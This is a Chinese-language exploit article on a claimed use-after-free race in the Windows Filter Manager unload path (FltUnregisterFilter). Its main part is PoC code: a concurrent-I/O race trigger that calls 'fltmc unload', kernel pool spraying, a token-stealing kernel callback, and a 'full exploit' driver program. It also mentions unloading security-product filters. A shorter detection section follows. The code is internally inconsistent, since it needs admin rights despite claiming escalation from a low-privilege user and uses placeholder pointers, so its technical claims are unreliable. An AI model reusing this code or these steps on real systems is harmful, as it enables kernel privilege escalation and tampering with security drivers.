摘要
Windows 过滤管理器(FltMgr.sys)通过 Attached 结构体将微过滤器绑定到卷设备栈,维护着每个微过滤器实例在 I/O 栈中的位置关系。然而,在 FltUnregisterFilter 卸载路径中,该结构体的引用计数管理存在竞态条件窗口,攻击者可利用并发 I/O 请求使 Attached 结构体在仍被引用时被释放,导致 use-after-free。这种结构体混淆使得攻击者能够覆写内核池中的控制数据,劫持卷设备栈上的回调指针,最终实现从低权限用户到 SYSTEM 的本地权限提升。本文从过滤管理器的 Attached 结构体架构出发,逐层剖析 FltUnregisterFilter 卸载路径中的竞态窗口、引用计数缺陷及卷设备栈劫持机制,构建基于 Windows 内核驱动和用户态触发器的完整 PoC,并讨论基于引用计数完整性监控和卸载路径审计的防御方案。
过滤管理器与 Attached 结构体
过滤管理器在文件系统栈中的位置
Windows 过滤管理器(Filter Manager,FltMgr.sys)是文件系统过滤驱动框架的核心组件,位于文件系统驱动(如 NTFS、FAT32)与遗留过滤器之间。它允许微过滤器驱动注册回调例程,以拦截和处理文件系统操作(如创建、读取、写入、重命名)。
过滤管理器维护了一个“帧”概念,用于在 I/O 栈中插入微过滤器。
每个帧包含一组在相同高度(altitude)上运行的微过滤器实例,帧的排列顺序决定了微过滤器的调用顺序。当微过滤器加载时,过滤管理器将其回调函数插入到 I/O 处理路径中;当微过滤器卸载时,过滤管理器需要从所有卷设备栈中移除其回调。
Attached 结构体的角色
在过滤管理器的内部实现中,Attached 结构体(_FLT_ATTACHED_VOLUME 或类似命名)是连接微过滤器实例与卷设备栈的关键数据结构。它存储了以下信息:
卷对象指针:指向该微过滤器实例所附加的卷设备对象。 设备栈位置:微过滤器在设备栈中的相对位置(在哪个设备对象之上或之下)。 回调注册表:该微过滤器在此卷上注册的所有 I/O 回调函数。 引用计数:跟踪有多少未完成的 I/O 操作正在引用此 Attached 结构体。
当一个微过滤器通过 FltAttachVolume 或自动附加机制绑定到某个卷时,过滤管理器为该微过滤器分配一个 Attached 结构体,并将其插入卷的过滤器链表中。当 I/O 请求经过该卷时,过滤管理器根据 Attached 结构体中的回调注册表调用相应的微过滤器函数。
FltUnregisterFilter 的卸载流程
当微过滤器准备卸载时,其 FilterUnloadCallback 例程调用 FltUnregisterFilter,将 PFLT_FILTER 指针传递给过滤管理器。该函数执行以下操作:
停止新 I/O 的调度:设置过滤器状态为“正在卸载”,阻止新的 I/O 操作进入该微过滤器的回调。 等待未完成的引用:如果微过滤器的 PFLT_FILTER指针上存在未完成的断开引用,FltUnregisterFilter会进入等待状态,直到这些引用被删除。拆卸卷附件:遍历所有附加了该微过滤器的卷,为每个卷调用 InstanceTeardownStartCallback和InstanceTeardownCompleteCallback。释放 Attached 结构体:从卷设备栈中移除微过滤器的回调,释放对应的 Attached结构体。
关键的安全缺陷在于步骤 2 和步骤 4 之间的竞态窗口。如果攻击者能够在此窗口期间向目标卷发起并发的 I/O 请求,使某个 I/O 操作在 Attached 结构体被释放之前获取了其引用,而在释放之后才使用该引用,就会触发 use-after-free。
卸载路径中的竞态窗口与引用计数缺陷
引用计数的非原子性
过滤管理器使用引用计数来跟踪 Attached 结构体的活跃引用。每个 I/O 操作在进入过滤管理器时,会调用 FltObjectReference 来增加过滤器对象的引用计数;在操作完成时,调用 FltObjectDereference 来减少计数。
在 FltUnregisterFilter 的卸载流程中,过滤管理器会等待 PFLT_FILTER 上的引用计数降至零。然而,Attached 结构体本身的引用计数与过滤器对象的引用计数是分离的。一个 I/O 操作可能持有对过滤器对象的引用,但尚未增加 Attached 结构体的引用计数;当卸载流程释放 Attached 结构体时,该 I/O 操作随后访问 Attached 结构体就会触发 UAF。
这种引用计数分离的设计缺陷在多个 Windows 版本中导致了 CVE 的发现。CVE-2018-8333 正是过滤管理器在“不当处理内存中的对象”时引发的权限提升漏洞,影响 Windows 7 至 Windows 10 的多个版本。后续研究进一步揭示了 Cloud Files 微过滤器(cldflt.sys)中类似的竞态条件,如 CVE-2025-55680(TOCTOU 竞态)和 CVE-2026-27926(竞态条件)。
结构体混淆的攻击面
Attached 结构体在内核池中分配,其大小和布局取决于具体的 Windows 构建版本。当攻击者触发 UAF 后,释放的内存槽位可以被其他内核对象重新占用。如果攻击者能够控制重新占用的对象的内容,就可以构造一个“结构体混淆”——让过滤管理器将攻击者控制的数据误认为是合法的 Attached 结构体。
CVE-2025-62221 的 PoC 精确描述了这一攻击模式:cldflt.sys 在处理云后端重解析点的异步 I/O 请求时,未能实现原子引用计数,通过精心构造的 IOCTL 调度例程触发竞态条件,导致悬空指针场景。攻击者随后使用内核池喷射(Pool Grooming)技术,用受控数据结构占据刚释放的内存槽位,将 UAF 条件转化为“类型混淆”或“受控指针覆写”。
从 UAF 到 Token 窃取
一旦攻击者成功混淆了 Attached 结构体,攻击路径包括:
覆写回调指针: Attached结构体中的回调注册表包含微过滤器的函数指针。攻击者可以覆写这些指针,使其指向自己控制的内核代码或 ROP 链。劫持卷设备栈:通过修改 Attached结构体中的设备对象指针,攻击者可以将后续的 I/O 操作重定向到攻击者控制的设备对象。Token 窃取:在获得内核代码执行后,攻击者执行经典的 Token 窃取操作——定位 SYSTEM 进程(PID 4)的 EPROCESS结构,复制其主访问令牌到攻击者进程的EPROCESS中。
卷设备栈权限提升的完整攻击链
攻击者
攻击者拥有低权限用户账户,能够在本地系统上执行代码。 目标系统加载了存在竞态条件缺陷的微过滤器驱动(如 cldflt.sys、bfs.sys 或第三方微过滤器)。 攻击者能够向目标卷发起 I/O 请求(通过标准文件系统 API)。
攻击步骤
阶段一:环境侦察。攻击者枚举系统中加载的微过滤器,识别存在已知竞态条件缺陷的目标。可通过 fltmc.exe filters 或直接查询过滤管理器的内部结构来获取微过滤器列表。
阶段二:触发竞态条件。攻击者创建一组并发线程:
线程 A 调用 FltUnregisterFilter(通过卸载一个攻击者控制的微过滤器,或触发系统的微过滤器卸载)。线程 B 向目标卷发起大量 I/O 请求(如 CreateFile、ReadFile),试图在 Attached 结构体被释放之前获取其引用。
阶段三:池喷射。当 UAF 被触发后,攻击者使用 NtAllocateVirtualMemory 或内核对象创建(如 CreateEvent、CreateFile)来喷射内核池,尝试占据刚释放的 Attached 结构体内存槽位。
阶段四:结构体混淆。攻击者精心构造喷射对象的内容,使其在关键偏移处包含攻击者控制的指针。当过滤管理器错误地将此对象视为 Attached 结构体时,其回调指针被劫持。
阶段五:Token 窃取。攻击者的恶意回调在内核上下文中执行,定位 SYSTEM 进程的 EPROCESS 并复制其 Token。
实战 PoC
竞态条件触发器(C++)
以下代码演示如何通过并发 I/O 请求触发 FltUnregisterFilter 卸载路径中的竞态条件。
// filter_race_trigger.cpp — 触发过滤管理器卸载竞态
// 编译: cl /EHsc filter_race_trigger.cpp /link ntdll.lib
#include <windows.h>
#include <stdio.h>
#include <thread>
#include <vector>
#include <atomic>
std::atomic<bool> g_stop{false};
std::atomic<int> g_io_count{0};
// 向目标卷发起 I/O 请求的线程
void io_worker(const wchar_t* target_path) {
while (!g_stop) {
HANDLE hFile = CreateFileW(
target_path,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING,
NULL
);
if (hFile != INVALID_HANDLE_VALUE) {
char buffer[4096];
DWORD bytesRead;
ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL);
CloseHandle(hFile);
g_io_count++;
}
}
}
// 卸载微过滤器的线程(需要 SeloadDriverPrivilege)
void unload_filter_thread(const wchar_t* filter_name) {
// 使用 fltmc.exe unload 或直接调用 FilterUnload
// 此处简化为调用 fltmc
wchar_t cmd[256];
swprintf_s(cmd, L"fltmc unload %s", filter_name);
_wsystem(cmd);
}
int wmain(int argc, wchar_t* argv[]) {
if (argc < 3) {
wprintf(L"用法: %s <目标卷路径> <微过滤器名称>\n", argv[0]);
wprintf(L"示例: %s C:\\test\\race_test.bin MyFilter\n", argv[0]);
return 1;
}
const wchar_t* target_path = argv[1];
const wchar_t* filter_name = argv[2];
// 启动多个 I/O 线程
std::vector<std::thread> io_threads;
for (int i = 0; i < 8; i++) {
io_threads.emplace_back(io_worker, target_path);
}
// 短暂延迟,让 I/O 线程稳定运行
Sleep(100);
printf("[*] 开始卸载微过滤器: %ls\n", filter_name);
printf("[*] 并发 I/O 线程数: %d\n", (int)io_threads.size());
// 在单独的线程中执行卸载
std::thread unload_thread(unload_filter_thread, filter_name);
// 等待卸载完成
unload_thread.join();
printf("[*] 卸载完成,总 I/O 次数: %d\n", g_io_count.load());
// 停止 I/O 线程
g_stop = true;
for (auto& t : io_threads) {
t.join();
}
printf("[*] 测试结束\n");
return 0;
} 说明:该 PoC 通过 8 个并发 I/O 线程持续向目标卷发起 CreateFile + ReadFile 操作,同时触发微过滤器的卸载。在卸载过程中,过滤管理器需要等待未完成的引用,但 Attached 结构体的引用计数与过滤器对象的引用计数分离,导致 I/O 操作可能在 Attached 结构体被释放后仍持有其指针。
内核池喷射与结构体伪造
// pool_groom.c — 内核池喷射以占据释放的 Attached 结构体
// 此代码需在内核驱动中运行,或通过 NtAllocateVirtualMemory 等 API 从用户态触发
#include <ntifs.h>
// 伪造的 Attached 结构体模板
typedef struct _FAKE_ATTACHED {
LIST_ENTRY VolumeListEntry; // 链表条目
PVOID VolumeObject; // 卷对象指针
ULONG ReferenceCount; // 引用计数(设为高值以阻止释放)
PVOID DeviceStack; // 设备栈指针
// 回调函数指针数组
PVOID Callbacks[16];
// ... 其他字段
} FAKE_ATTACHED;
// 内核池喷射:分配大量与 Attached 结构体大小相近的对象
void spray_kernel_pool(SIZE_T object_size, int count) {
for (int i = 0; i < count; i++) {
PVOID mem = ExAllocatePoolWithTag(
NonPagedPool,
object_size,
'tAHF' // 池标签
);
if (mem) {
// 用攻击者控制的数据填充
RtlFillMemory(mem, object_size, 0x41);
// 在关键偏移处放置伪造的回调指针
FAKE_ATTACHED* fake = (FAKE_ATTACHED*)mem;
fake->ReferenceCount = 0xFFFFFFFF; // 防止被释放
for (int j = 0; j < 16; j++) {
fake->Callbacks[j] = (PVOID)0xDEADBEEF; // 攻击者控制的地址
}
}
}
}
// 触发 Token 窃取的恶意回调
NTSTATUS MaliciousCallback(
PFLT_CALLBACK_DATA Data,
PCFLT_RELATED_OBJECTS FltObjects,
PVOID* CompletionContext
) {
// 定位 SYSTEM 进程的 EPROCESS
PEPROCESS systemProcess = NULL;
PsLookupProcessByProcessId((HANDLE)4, &systemProcess);
if (systemProcess) {
// 复制 SYSTEM 的 Token 到当前进程
PEPROCESS currentProcess = PsGetCurrentProcess();
// 通过 EPROCESS 偏移获取 Token 字段(偏移取决于 Windows 版本)
PVOID* systemToken = (PVOID*)((PUCHAR)systemProcess + TOKEN_OFFSET);
PVOID* currentToken = (PVOID*)((PUCHAR)currentProcess + TOKEN_OFFSET);
// 替换 Token
*currentToken = *systemToken;
ObDereferenceObject(systemProcess);
}
return STATUS_SUCCESS;
} 说明:该代码演示了两个关键组件。池喷射通过分配大量与 Attached 结构体大小相近的内核池对象,并用攻击者控制的数据填充,试图在 UAF 发生后占据释放的内存槽位。恶意回调在获得内核执行后,定位 SYSTEM 进程的 EPROCESS 结构,复制其访问令牌到当前进程,完成权限提升。
用户态完整利用框架
// full_exploit.cpp — 完整攻击链框架
// 整合竞态触发、池喷射和 Token 窃取
#include <windows.h>
#include <stdio.h>
#include <thread>
#include <vector>
#include <atomic>
// 从 4.1 节复用的 I/O 工作线程
extern void io_worker(const wchar_t* target_path);
extern std::atomic<bool> g_stop;
// 用户态池喷射(通过创建内核对象间接喷射内核池)
void userland_pool_spray(int count) {
std::vector<HANDLE> handles;
for (int i = 0; i < count; i++) {
// 创建事件对象,占用 NonPagedPool
HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (hEvent) handles.push_back(hEvent);
// 创建文件对象
HANDLE hFile = CreateFileW(
L"\\\\.\\C:", GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL
);
if (hFile != INVALID_HANDLE_VALUE) handles.push_back(hFile);
}
printf("[*] 已喷射 %zu 个内核对象\n", handles.size());
// 保持句柄打开以维持池占用
Sleep(5000);
for (HANDLE h : handles) {
CloseHandle(h);
}
}
int wmain(int argc, wchar_t* argv[]) {
printf("=== 过滤管理器卸载竞态 PoC ===\n\n");
// 阶段 1: 启动 I/O 线程
std::vector<std::thread> io_threads;
for (int i = 0; i < 8; i++) {
io_threads.emplace_back(io_worker, L"C:\\test\\target.bin");
}
Sleep(100);
printf("[*] I/O 线程已启动,准备触发卸载竞态\n");
// 阶段 2: 触发卸载(需要管理员权限)
printf("[*] 触发微过滤器卸载...\n");
system("fltmc unload MyFilter");
// 阶段 3: 池喷射
printf("[*] 开始内核池喷射...\n");
std::thread spray_thread(userland_pool_spray, 10000);
spray_thread.join();
// 阶段 4: 检查提权结果
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD size;
if (GetTokenInformation(hToken, TokenElevation,
&elevation, sizeof(elevation), &size)) {
if (elevation.TokenIsElevated) {
printf("[!] 权限提升成功!当前进程已获得 SYSTEM 权限\n");
} else {
printf("[-] 权限提升未成功,竞态未命中\n");
}
}
CloseHandle(hToken);
}
// 清理
g_stop = true;
for (auto& t : io_threads) t.join();
return 0;
} 检测与防御
引用计数完整性监控
过滤管理器卸载竞态的核心信号是 Attached 结构体的引用计数与 I/O 操作的活跃状态不一致。内核可以通过以下方式监控:
Attached 结构体引用计数审计:在 FltObjectReference和FltObjectDereference的关键路径上增加审计钩子,记录每个 Attached 结构体的引用计数变化。当卸载流程释放 Attached 结构体时,检查是否存在未完成的 I/O 引用。卸载期间的 I/O 拦截:在 FltUnregisterFilter的卸载流程中,强制阻止新的 I/O 操作进入该微过滤器的回调路径,直到所有未完成的引用被清理。
卸载路径审计
监控 fltmc.exe unload调用:如 CraftedSignal 威胁情报所指出的,攻击者可能滥用 Filter Manager 控制程序来卸载安全产品的微过滤器。部署审计规则监控fltmc.exe unload的调用,特别是针对安全产品(如 WdFilter.sys)的卸载尝试。检测异常卸载时序:监控微过滤器卸载事件与大量并发 I/O 请求的时序关联。正常的卸载流程不会伴随异常的 I/O 压力。
内核池完整性保护
启用 Driver Verifier:Windows Driver Verifier 的 I/O 验证选项可以检测微过滤器驱动对 FltMgr 函数的不当使用,包括引用计数错误和 UAF。 内核池隔离:使用 ExAllocatePoolWithTag的POOL_FLAG_NON_PAGED和POOL_FLAG_USE_QUOTA等标志,将关键内核对象分配到隔离的池中,增加攻击者池喷射的难度。
微过滤器卸载保护
注册 FLTFL_REGISTRATION_DO_NOT_SUPPORT_SERVICE_STOP:微过滤器驱动可以注册此标志,防止服务停止时卸载驱动。这可以阻止攻击者通过服务控制管理器触发卸载。拒绝非受信进程的卸载请求:过滤管理器可以增加策略,要求卸载请求必须来自具有特定签名的进程(如系统进程或经过认证的管理工具)。
漏洞修复追踪
CVE-2018-8333:微软已在 2018 年 10 月的安全更新中修复。 CVE-2025-55680 / CVE-2026-27926:Cloud Files 微过滤器的 TOCTOU 竞态条件,已在 2025 年 10 月和 2026 年 4 月的更新中修复。 CVE-2025-62221:cldflt.sys 的 UAF 漏洞,修复补丁于 2026 年 1 月发布。
结语
过滤管理器中的 Attached 结构体混淆揭示了 Windows 内核中一个根本性的安全挑战:当引用计数的管理跨越多个组件和多个生命周期阶段时,竞态条件窗口便成为攻击者可利用的结构性缺陷。FltUnregisterFilter 卸载路径中的 UAF 不需要任何内存破坏漏洞——攻击者只需在正确的时刻发起正确的 I/O 请求,就能让内核自己释放一个仍然被引用的结构体。
Cloud Files 微过滤器(cldflt.sys)中反复出现的竞态条件漏洞——从 CVE-2020-17103 到 CVE-2025-62221,再到 2026 年被发现补丁被回滚的 MiniPlasma——表明这类缺陷的修复极其困难,甚至可能因代码回归而重新出现。对于防御者而言,启用 Driver Verifier、监控卸载路径的异常行为、以及对安全产品微过滤器实施卸载保护,是当前最务实的缓解措施。